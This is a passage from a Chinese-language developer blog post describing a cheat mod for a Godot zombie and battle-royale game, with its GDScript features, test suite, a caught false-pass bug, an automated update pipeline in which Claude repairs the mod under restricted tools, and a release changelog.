<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // 所以 Tab (回遊戲) 和面板開著時按 ` / F2 (收合)，這裡在按鍵當下直接鎖。遊戲狀態由 cheat.gd 寫進 window.__acmodUI。</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    addEventListener</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'keydown'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, (</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">e</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> ui</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> window.__acmodUI;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ui) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (e.code </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'Tab'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) e.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">preventDefault</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();   </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 不要讓 Tab 把焦點移出遊戲畫面</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (e.repeat </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ui.playing </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> document.pointerLockElement) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (e.code </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'Tab'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x26;&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">((e.code </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'Backquote'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> ||</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> e.code </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'F2'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ui.open)) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> canvas</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> document.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">getElementById</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'canvas'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      try</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> p</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> canvas </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> canvas.requestPointerLock </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> canvas.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">requestPointerLock</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (p </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p.catch) p.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">catch</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(() </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> {});</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">      } </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">catch</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (_) {}</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    }, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">true</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/abandoned-city-fps-mod/blob/547edb6/tools/userscript.template.js#L39-L52">在 SiaoHub 檢視 siao/abandoned-city-fps-mod/tools/userscript.template.js L39-52</a></p>
<h3 id="5-刷怪-隱身與大逃殺加-ai" class="phrased">5. 刷怪、<wbr>隱身<wbr>與大逃殺加 AI</h3>
<p>刷怪沒有呼叫遊戲的 <code>EnemySpawner.spawn_enemy()</code>，因為它的種類由 <code>_pick_type()</code> 依波次抽籤決定。外掛自己 <code>instantiate()</code> 殭屍場景，在 <code>add_child</code> 之前呼叫 <code>setup(type, wave)</code>，再乘上關卡的血量和速度倍率。順序不能反過來，因為殭屍的 <code>_ready()</code> 會把 <code>max_health</code> 複製成目前血量。生成點比照遊戲的作法，從上往下打射線，打到屋頂就換一個點，避免殭屍卡在建築裡。</p>
<p>大逃殺模式只停掉 <code>EnemySpawner</code>，殭屍場景本身照樣能用，所以大逃殺也能刷殭屍。刷出來的殭屍會計入殭屍模式的波次：場上殭屍要全部清光，遊戲才會進下一波。</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="text" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="text" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span># 刷怪：在玩家周圍 8~16 公尺生成殭屍。type 0 普通、1 跑者、2 坦克、3 隨機。</span></span>
<span data-line=""><span># 強度用指定波次 (0 = 目前波次) 和關卡倍率計算，大逃殺也能刷。擊殺照常算分數和喪屍幣。</span></span>
<span data-line=""><span># 殭屍模式要清光場上殭屍 (含刷出來的) 才會進下一波。</span></span>
<span data-line=""><span>func spawn_zombies(n: int, type: int = 3) -> int:</span></span>
<span data-line=""><span>	var p := player()</span></span>
<span data-line=""><span>	var scene := get_tree().current_scene</span></span>
<span data-line=""><span>	if p == null or scene == null or not in_run() or n &#x3C;= 0:</span></span>
<span data-line=""><span>		return 0</span></span>
<span data-line=""><span>	var wave: int = int(S["spawn_wave"]) if int(S["spawn_wave"]) >= 1 else maxi(Game.wave, 1)</span></span>
<span data-line=""><span>	var cfg: Dictionary = Game.level_cfg</span></span>
<span data-line=""><span>	for i in n:</span></span>
<span data-line=""><span>		var e := ENEMY_SCENE.instantiate()</span></span>
<span data-line=""><span>		e.setup(type if type >= 0 and type &#x3C;= 2 else randi_range(0, 2), wave)</span></span>
<span data-line=""><span>		e.max_health *= float(cfg.get("hp_mult", 1.0))</span></span>
<span data-line=""><span>		e.move_speed *= float(cfg.get("speed_mult", 1.0))</span></span>
<span data-line=""><span>		e.position = ground_near(p.global_position, 8.0, 16.0)</span></span>
<span data-line=""><span>		scene.add_child(e)</span></span>
<span data-line=""><span>	return n</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/abandoned-city-fps-mod/blob/a70f78d/mod/cheat.gd#L359-L376">在 SiaoHub 檢視 siao/abandoned-city-fps-mod/mod/cheat.gd L359-376</a></p>
<p>隱身分兩邊做。殭屍只看兩個距離：<code>attack_range</code> 內攻擊、<code>detection_range</code> 內追擊，外掛把兩個都設成 0。大逃殺的 AI 用 <code>combatants</code> 群組找目標，子彈也只對這個群組的對象造成傷害，所以外掛把玩家移出這個群組，AI 就看不到也打不到你。</p>
<p>生成 AI 對手時照抄遊戲 <code>_spawn_bots()</code> 的設定，存活人數跟著加。這些 AI 被擊殺時照樣算喪屍幣。「暫停縮圈」利用 autoload 排在主場景前面：每一幀外掛先把 <code>stage_time</code> 加上 <code>delta</code>，接著大逃殺管理器再扣掉同樣的量，計時就停住了。</p>
<p>v2.0 新增了吐酸殭屍 <code>SPITTER</code>、膨脹者 <code>BLOATER</code> 和 Boss，<code>EnemyAI.Type</code> 變成 <code>NORMAL, RUNNER, TANK, BOSS, SPITTER, BLOATER</code>。外掛的刷怪選單原本第 4 項是「隨機」，存在設定檔裡的值是 3，剛好撞上新的 <code>BOSS = 3</code>。所以選單維持「隨機」在第 4 項，新種類接在後面，再用一張表對應到遊戲的編號，舊設定讀進來還是隨機。外掛刷的 Boss 有名字才會顯示 Boss 血條，外掛會幫它取名。</p>
<p>存檔類功能直接呼叫遊戲自己的 <code>Save</code> 方法，再 <code>Save.save()</code> 寫回。外掛自己的設定另外存在 <code>user://acmod.cfg</code>（Windows 是 <code>%APPDATA%\Godot\app_userdata\AbandonedCityFPS\</code>），不碰遊戲存檔。</p>
<h2 id="6-測試" class="phrased">（6）<wbr>測試</h2>
<h3 id="1-godot-無頭測試" class="phrased">1. Godot 無頭<wbr>測試</h3>
<p>遊戲自帶一支冒煙測試 <code>tests/smoke.gd</code>，用 <code>godot --headless -s</code> 執行，會自動開局、選技能、殺光殭屍直到勝利。外掛的 <code>tools/test.gd</code> 沿用同樣的開局方式，再逐項驗證外掛：</p>
<ul>
<li>殭屍模式 41 項：無敵、倍率套用與還原、拿槍、無限彈藥、一擊必殺、存檔解鎖、面板與區塊收合、遊戲中鎖回滑鼠、數值欄無上限、彈丸與射程、生命上限、飛行、遊戲速度、刷怪（含吐酸殭屍、膨脹者、Boss）、隱身、喪屍幣倍率、補給、熱鍵、技能全滿、技能無冷卻、凍結、清怪算擊殺、跳波、直接過關等；</li>
<li>大逃殺 45 項：共用的檢查，加上跳傘立即著陸、生成 AI、暫停縮圈、凍結 AI、淘汰所有對手、擊殺歸屬、空投降落與開啟、奪冠結算。</li>
</ul>
<p>v2.0 的遊戲改用 <code>Game.gameplay_boot</code> 判斷「這次載入是開始遊戲」，沒設的話關卡不會建、大逃殺也不會開局。測試比照遊戲自己的 <code>tests/smoke.gd</code>，在建主場景之前設成 <code>true</code>。擊殺也會順帶觸發成就獎勵（例如「初次見血」+10 喪屍幣），所以喪屍幣倍率的檢查改成「至少多拿到 3 倍」。</p>
<p><code>tools/test.sh</code> 把遊戲專案複製一份，在 <code>project.godot</code> 登記 <code>Cheat</code> autoload，跑兩個模式，一輪約 10 秒。</p>
<h3 id="2-發行版實測" class="phrased">2. 發行<wbr>版<wbr>實測</h3>
<p>無頭測試用的是 GitHub 原始碼，不會經過玩家的安裝流程。<code>tools/release-test.sh</code> 拿作者發行的 exe，照玩家的步驟再測一次：</p>
<ol>
<li>建一個「<code>遊戲 資料夾</code>」（中文加空白），放進作者的 exe，再把外掛 repo 的 <code>mod/</code>、<code>windows/</code> 放在旁邊，等同玩家下載 ZIP 解壓；</li>
<li>用 PowerShell 7 執行 <code>windows/install.ps1</code>，確認它自己找到遊戲、寫好 <code>override.cfg</code>；</li>
<li>用 Linux 版 Godot 4.7.2 以 <code>--main-pack</code> 讀作者 exe 內嵌的 pck。<code>--main-pack</code> 會讀 pck 同資料夾的 <code>override.cfg</code>，走的是同一條載入路徑。殭屍模式、大逃殺各跑一輪 <code>test.gd</code>；</li>
<li>執行 <code>install.ps1 -Uninstall</code>，確認 <code>override.cfg</code> 和 <code>acmod\</code> 都清掉。</li>
</ol>
<p>兩個模式在作者的 v2.0 exe 上都是 41 項、45 項全部通過。另外用 Wine 直接執行作者的 Windows exe，確認 Windows 版引擎也會讀 exe 旁的 <code>override.cfg</code>、從中文路徑載入外掛。完整的 <code>test.gd</code> 在 Wine 裡沒有跑完：外掛載入後，測試卡在開局前，CPU 使用率為 0，看起來是遊戲的分幀載入在 Wine 無頭模式下不會往下走。所以 Windows 上的實際操作，目前只驗到「外掛有載入」這一步。</p>
<h3 id="3-網頁版時期的-chromium-實測-已停用" class="phrased">3. 網頁<wbr>版<wbr>時期<wbr>的 Chromium 實測<wbr>（已<wbr>停用）</h3>
<p>無頭測試驗的是邏輯，不會經過網頁載入。<code>tools/browser-test.mjs</code> 用 Playwright 開 headless Chromium（SwiftShader 提供 WebGL 2），載入作者的線上頁面，模擬 Tampermonkey 執行使用者腳本。它檢查四件事：外掛檔案有排進預載清單、Godot 印出外掛已載入、<code>cheat.gd</code> 有把遊戲狀態寫進 <code>window.__acmodUI</code>、console 沒有任何 GDScript 錯誤。</p>
<p>v1.2.0 另外手動跑過一次完整流程：開局選技能後，模擬 Esc 放開滑鼠，再分別按 <code>Tab</code>、點畫面空白處、按 <code>`</code> 收合，三種方式都能鎖回去；點面板上的選項則維持放開。這段流程要點作者的選單座標，作者改版面就會失準，所以沒放進自動測試。</p>
<p>故意在 <code>cheat.gd</code> 放一個語法錯誤再跑一次，Godot 會印出 <code>Parse Error</code> 和「Failed to instantiate an autoload」，兩項檢查都失敗。</p>
<details><summary>Playwright 的 init script 比 &#x3C;html> 還早</summary><p>第一次實測，攔截完全沒有觸發。原因是 Playwright 的 <code>addInitScript</code> 跑得比 <code>&#x3C;html></code> 元素建立還早，<code>document.documentElement</code> 是 <code>null</code>，使用者腳本要插入的 <code>&#x3C;script></code> 沒有地方放。</p><p>Tampermonkey 的 document-start 時 <code>&#x3C;html></code> 通常已經存在，所以這是測試環境的差異。測試裡的 <code>GM_addElement</code> 替身改成直接在頁面環境執行腳本內容。使用者腳本本身也補了退路：沒有 <code>&#x3C;html></code> 時改用不帶父節點的 <code>GM_addElement('script', …)</code>，由 Tampermonkey 自己決定放哪裡。</p></details>
<h3 id="4-假通過" class="phrased">4. 假<wbr>通過</h3>
<p>自動修正流程上線前，先模擬了一次「作者把 <code>infinite_ammo</code> 改名成 <code>unlimited_ammo</code>」。流程把錯誤交給 Claude，Claude 正確修好了 <code>cheat.gd</code>，測試也印出「全部通過」，但項數只有 16 和 15。</p>
<p>原因是 <code>test.gd</code> 自己也讀了 <code>w.infinite_ammo</code>。在新版遊戲上，這一行會發生執行錯誤，GDScript 直接跳過那個函式剩下的檢查。沒跑到的檢查不會記成失敗，所以「沒有 FAIL」不代表全部通過。</p>
<p>現在有兩道檢查：<code>test.gd</code> 結束時核對每個模式應有的項數，<code>test.sh</code> 看到 log 裡有 <code>SCRIPT ERROR</code> 就判定失敗。</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="text" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="text" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span>var passed := 0</span></span>
<span data-line=""><span># 每個模式應該跑到的檢查數。檢查中途出現執行錯誤時，GDScript 會跳過該函式剩下的檢查，</span></span>
<span data-line=""><span># 只看「沒有 FAIL」會變成假通過，所以結束時要對項數。新增或刪除檢查時要一起改。</span></span>
<span data-line=""><span>const EXPECTED := {"zombie": 23, "br": 22}</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/abandoned-city-fps-mod/blob/cccc960/tools/test.gd#L13-L16">在 SiaoHub 檢視 siao/abandoned-city-fps-mod/tools/test.gd L13-16</a></p>
<p>同時讓 Claude 在遊戲成員只是改名時，也可以同步更新 <code>test.gd</code>。重跑模擬後，Claude 一次改好 <code>cheat.gd</code> 和 <code>test.gd</code> 兩處，測試是完整的 23 項和 22 項通過。</p>
<h2 id="7-作者更新時" class="phrased">（7）<wbr>作者<wbr>更新<wbr>時</h2>
<p>siao-server 上的 systemd timer 每 15 分鐘執行一次 <code>watch.sh</code>。沒有更新時只做一次 <code>git ls-remote</code> 和一次 GitHub releases API。</p>
<p>網頁版時期追的是 gh-pages 的 commit。作者刪掉 gh-pages 之後，監看改追最新 release 裡 Windows exe 的 sha256（GitHub API 直接給）。v2.0 的 release 在 07:50 UTC 建立，exe 到 08:49 才上傳，作者可能在同一個 tag 底下換檔，只看 tag 會漏掉。</p>
<figure class="diagram"><svg viewBox="0.00 0.00 281.00 541.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="作者發行新版後的流程">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 537)">

<polygon fill="none" stroke="none" points="-4,4 -4,-537 276.73,-537 276.73,4 -4,4"></polygon>

<g class="node">

<polygon fill="none" stroke="currentColor" points="255.47,-533 92.53,-533 92.53,-497 255.47,-497 255.47,-533"></polygon>
<text text-anchor="middle" x="174" y="-518.3" font-family="sans-serif" font-size="11.00">git ls-remote + releases/latest：</text>
<text text-anchor="middle" x="174" y="-505.1" font-family="sans-serif" font-size="11.00">master、tag、exe 的 sha256 有變？</text>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="246.32,-444.2 101.68,-444.2 101.68,-408.2 246.32,-408.2 246.32,-444.2"></polygon>
<text text-anchor="middle" x="174" y="-429.5" font-family="sans-serif" font-size="11.00">下載 exe、核對 sha256</text>
<text text-anchor="middle" x="174" y="-416.3" font-family="sans-serif" font-size="11.00">GDRE Tools 反編譯內嵌的 pck</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M174,-496.85C174,-485.16 174,-469.39 174,-455.82"></path>
<polygon fill="currentColor" stroke="currentColor" points="177.5,-456.12 174,-446.12 170.5,-456.12 177.5,-456.12"></polygon>
<text text-anchor="middle" x="195.96" y="-466.4" font-family="Times,serif" font-size="14.00">exe 變了</text>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="250.75,-371.2 97.25,-371.2 97.25,-335.2 250.75,-335.2 250.75,-371.2"></polygon>
<text text-anchor="middle" x="174" y="-356.5" font-family="sans-serif" font-size="11.00">跟 GitHub 原始碼、上一版各比一次</text>
<text text-anchor="middle" x="174" y="-343.3" font-family="sans-serif" font-size="11.00">claude -p 寫中文分析</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M174,-408.01C174,-400.43 174,-391.3 174,-382.74"></path>
<polygon fill="currentColor" stroke="currentColor" points="177.5,-382.74 174,-372.74 170.5,-382.74 177.5,-382.74"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="272.73,-298.2 75.27,-298.2 75.27,-262.2 272.73,-262.2 272.73,-298.2"></polygon>
<text text-anchor="middle" x="174" y="-283.5" font-family="sans-serif" font-size="11.00">tools/test.sh（Godot 無頭 86 項）</text>
<text text-anchor="middle" x="174" y="-270.3" font-family="sans-serif" font-size="11.00">tools/release-test.sh（作者的 exe 安裝實測）</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M174,-335.01C174,-327.43 174,-318.3 174,-309.74"></path>
<polygon fill="currentColor" stroke="currentColor" points="177.5,-309.74 174,-299.74 170.5,-309.74 177.5,-309.74"></polygon>
</g>

<g class="node">

<polygon fill="#f3e6d8" stroke="currentColor" points="196.46,-209.4 51.54,-209.4 51.54,-161.8 196.46,-161.8 196.46,-209.4"></polygon>
<text text-anchor="middle" x="124" y="-195.5" font-family="sans-serif" font-size="11.00">claude -p 修 cheat.gd</text>
<text text-anchor="middle" x="124" y="-182.3" font-family="sans-serif" font-size="11.00">只給 Read、Edit、Glob、Grep</text>
<text text-anchor="middle" x="124" y="-169.1" font-family="sans-serif" font-size="11.00">最多 2 輪</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M164.6,-261.78C158.22,-249.98 149.6,-234 141.93,-219.82"></path>
<polygon fill="currentColor" stroke="currentColor" points="145.12,-218.35 137.29,-211.22 138.96,-221.68 145.12,-218.35"></polygon>
<text text-anchor="middle" x="165.45" y="-231.6" font-family="Times,serif" font-size="14.00">失敗</text>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="217.62,-36 50.38,-36 50.38,0 217.62,0 217.62,-36"></polygon>
<text text-anchor="middle" x="134" y="-21.3" font-family="sans-serif" font-size="11.00">CHANGELOG.md、部落格版本紀錄</text>
<text text-anchor="middle" x="134" y="-8.1" font-family="sans-serif" font-size="11.00">推 SiaoHub、推部落格</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M184.18,-261.82C191.6,-248.1 201.01,-228.21 205,-209.4 217.58,-150.1 231.93,-127.31 205,-73 198.98,-60.86 188.78,-50.71 177.96,-42.61"></path>
<polygon fill="currentColor" stroke="currentColor" points="180.27,-39.95 170.05,-37.15 176.29,-45.71 180.27,-39.95"></polygon>
<text text-anchor="middle" x="230.77" y="-131.2" font-family="Times,serif" font-size="14.00">通過</text>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="54,-109 0,-109 0,-73 54,-73 54,-109"></polygon>
<text text-anchor="middle" x="27" y="-87.7" font-family="sans-serif" font-size="11.00">升小版號</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M73.09,-161.35C65.24,-156.31 57.7,-150.46 51.5,-143.8 45.18,-137.02 40.22,-128.31 36.46,-119.98"></path>
<polygon fill="currentColor" stroke="currentColor" points="39.76,-118.8 32.77,-110.84 33.27,-121.42 39.76,-118.8"></polygon>
<text text-anchor="middle" x="88.25" y="-131.2" font-family="Times,serif" font-size="14.00">修好且重測通過</text>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="195.62,-109 72.38,-109 72.38,-73 195.62,-73 195.62,-109"></polygon>
<text text-anchor="middle" x="134" y="-87.7" font-family="sans-serif" font-size="11.00">維持舊版，紀錄等待人工處理</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M126.47,-161.71C127.81,-149.33 129.47,-133.91 130.9,-120.73"></path>
<polygon fill="currentColor" stroke="currentColor" points="134.36,-121.22 131.96,-110.9 127.41,-120.47 134.36,-121.22"></polygon>
<text text-anchor="middle" x="161.69" y="-131.2" font-family="Times,serif" font-size="14.00">2 輪都沒通過</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M53.18,-72.63C66.78,-63.61 83.6,-52.44 98.37,-42.64"></path>
<polygon fill="currentColor" stroke="currentColor" points="100.07,-45.72 106.46,-37.27 96.2,-39.88 100.07,-45.72"></polygon>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M134,-72.81C134,-65.23 134,-56.1 134,-47.54"></path>
<polygon fill="currentColor" stroke="currentColor" points="137.5,-47.54 134,-37.54 130.5,-47.54 137.5,-47.54"></polygon>
</g>
</g>
</svg><figcaption>作者發行新版後的流程</figcaption></figure>
<p>給 Claude 的資料包含測試輸出、反編譯分析、新舊發行版的 diff 和新版遊戲專案（唯讀副本）。它不能執行指令，修完由流程重跑全部測試。不准它刪功能來讓測試通過，也不准它改版本號或安裝腳本。</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="bash" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="bash" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">這個工作階段不能執行指令，測試會在你結束後自動重跑。</span></span>
<span data-line=""><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">不要刪掉功能來讓測試通過；某個功能在新版確實做不到時，保留其他功能並在</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> cheat.gd</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 註解說明。</span></span>
<span data-line=""><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">不要改</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> windows/</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 的安裝腳本，也不要改版本號。</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/abandoned-city-fps-mod/blob/f582bd7/tools/update.sh#L51-L53">在 SiaoHub 檢視 siao/abandoned-city-fps-mod/tools/update.sh L51-53</a></p>
<p>v2.0 那次，網頁版下架前還有兩個版本經過自動修正。第一次（<code>6cb5e9d</code>）Claude 沒找出原因，測試卡在開局；第二次（<code>5549172</code>）它找出 <code>gameplay_boot</code>，殭屍模式通過了，但沒發現跳傘中的 AI 不吃傷害。兩次都沒過，流程照設計停下來等人工處理。後面的跳傘修正、熱鍵衝突和改成 Windows 版，都是人工做的。改版後的新流程第一次自己跑，就判定外掛 v2.0.0 跟作者的 exe 直接相容。</p>
<p>推送用一把專用的 deploy key，只能寫入外掛 repo。部落格用的是 DUNGEON REBORN 那套既有的 deploy key，兩個監看程式共用一把鎖，不會同時推。</p>
<h3 id="版本紀錄" class="phrased">版本<wbr>紀錄</h3>
<p><strong>2026-10-18 06:33 UTC · 發行版 <code>v2.1.2 392eacee9db6</code></strong></p>
<p>v2.1.2 修正殭屍關卡尾聲找不到敵人的問題，新增敵人保底傳送與最近敵人方位提示。</p>
<p>外掛 v2.0.0 直接相容，Godot 無頭測試與發行版安裝實測全部通過（<code>3e3f639</code>）。</p>
<p><strong>2026-10-18 05:33 UTC · 發行版 <code>v2.1.1 631667ea2037</code></strong></p>
<p>v2.1.1 只調整設定選單介面排版，玩法、數值與防護皆無變動，發行版與原始碼一致。</p>
<p>外掛 v2.0.0 直接相容，Godot 無頭測試與發行版安裝實測全部通過（<code>661a264</code>）。</p>
<p><strong>2026-10-17 19:04 UTC · 發行版 <code>v2.1 5e88a82f1c02</code></strong></p>
<p>v2.1 只修大逃殺 AI 卡關與全螢幕版面，加入決賽圈超時保底，無新增防護。</p>
<p>外掛 v2.0.0 直接相容，Godot 無頭測試與發行版安裝實測全部通過（<code>d86f286</code>）。</p>
<p><strong>2026-10-17 14:34 UTC · 發行版 <code>v2.0 b84196f25794</code></strong></p>
<p>監看改追 Windows 發行版後的第一次檢查。exe 內嵌的 pck 反編譯出 44 支腳本，跟 GitHub 原始碼一致。</p>
<p>外掛 v2.0.0 直接相容，Godot 無頭測試與發行版安裝實測全部通過（<code>b2f8797</code>）。</p>
<p><strong>2026-10-17 · 外掛 v2.0.0（人工）</strong></p>
<p>作者拿掉網頁版，只發行 Windows exe 與 Android APK。外掛改成 Windows 安裝包，用 exe 旁的 <code>override.cfg</code> 載入；修正跳傘中淘汰不了 AI，熱鍵避開大逃殺的 G／H／T，刷怪加入吐酸殭屍、膨脹者和 Boss，新增跳傘立即著陸（<code>85ea7c4</code>、<code>f582bd7</code>）。Android 版要重新打包 APK、換簽章，這次沒有做。</p>
<p><strong>2026-10-17 08:39 UTC · 網頁版 <code>5549172</code></strong></p>
<p>新增預烘焙音檔與分幀載入畫面，修正網頁凍結與無聲；數值與防護未變，網頁版與原始碼一致。</p>
<p>外掛 v1.3.0 對這一版測試未通過，自動修正 2 輪也沒成功，等待人工處理（<code>59705ae</code>）。</p>
<p><strong>2026-10-17 08:08 UTC · 網頁版 <code>6cb5e9d</code></strong></p>
<p>v2.0 加入成長系統、槍枝配件、大逃殺跳傘與道具，資料中未見新增防護。</p>
<p>外掛 v1.3.0 對這一版測試未通過，自動修正 2 輪也沒成功，等待人工處理（<code>09dfa2d</code>）。</p>
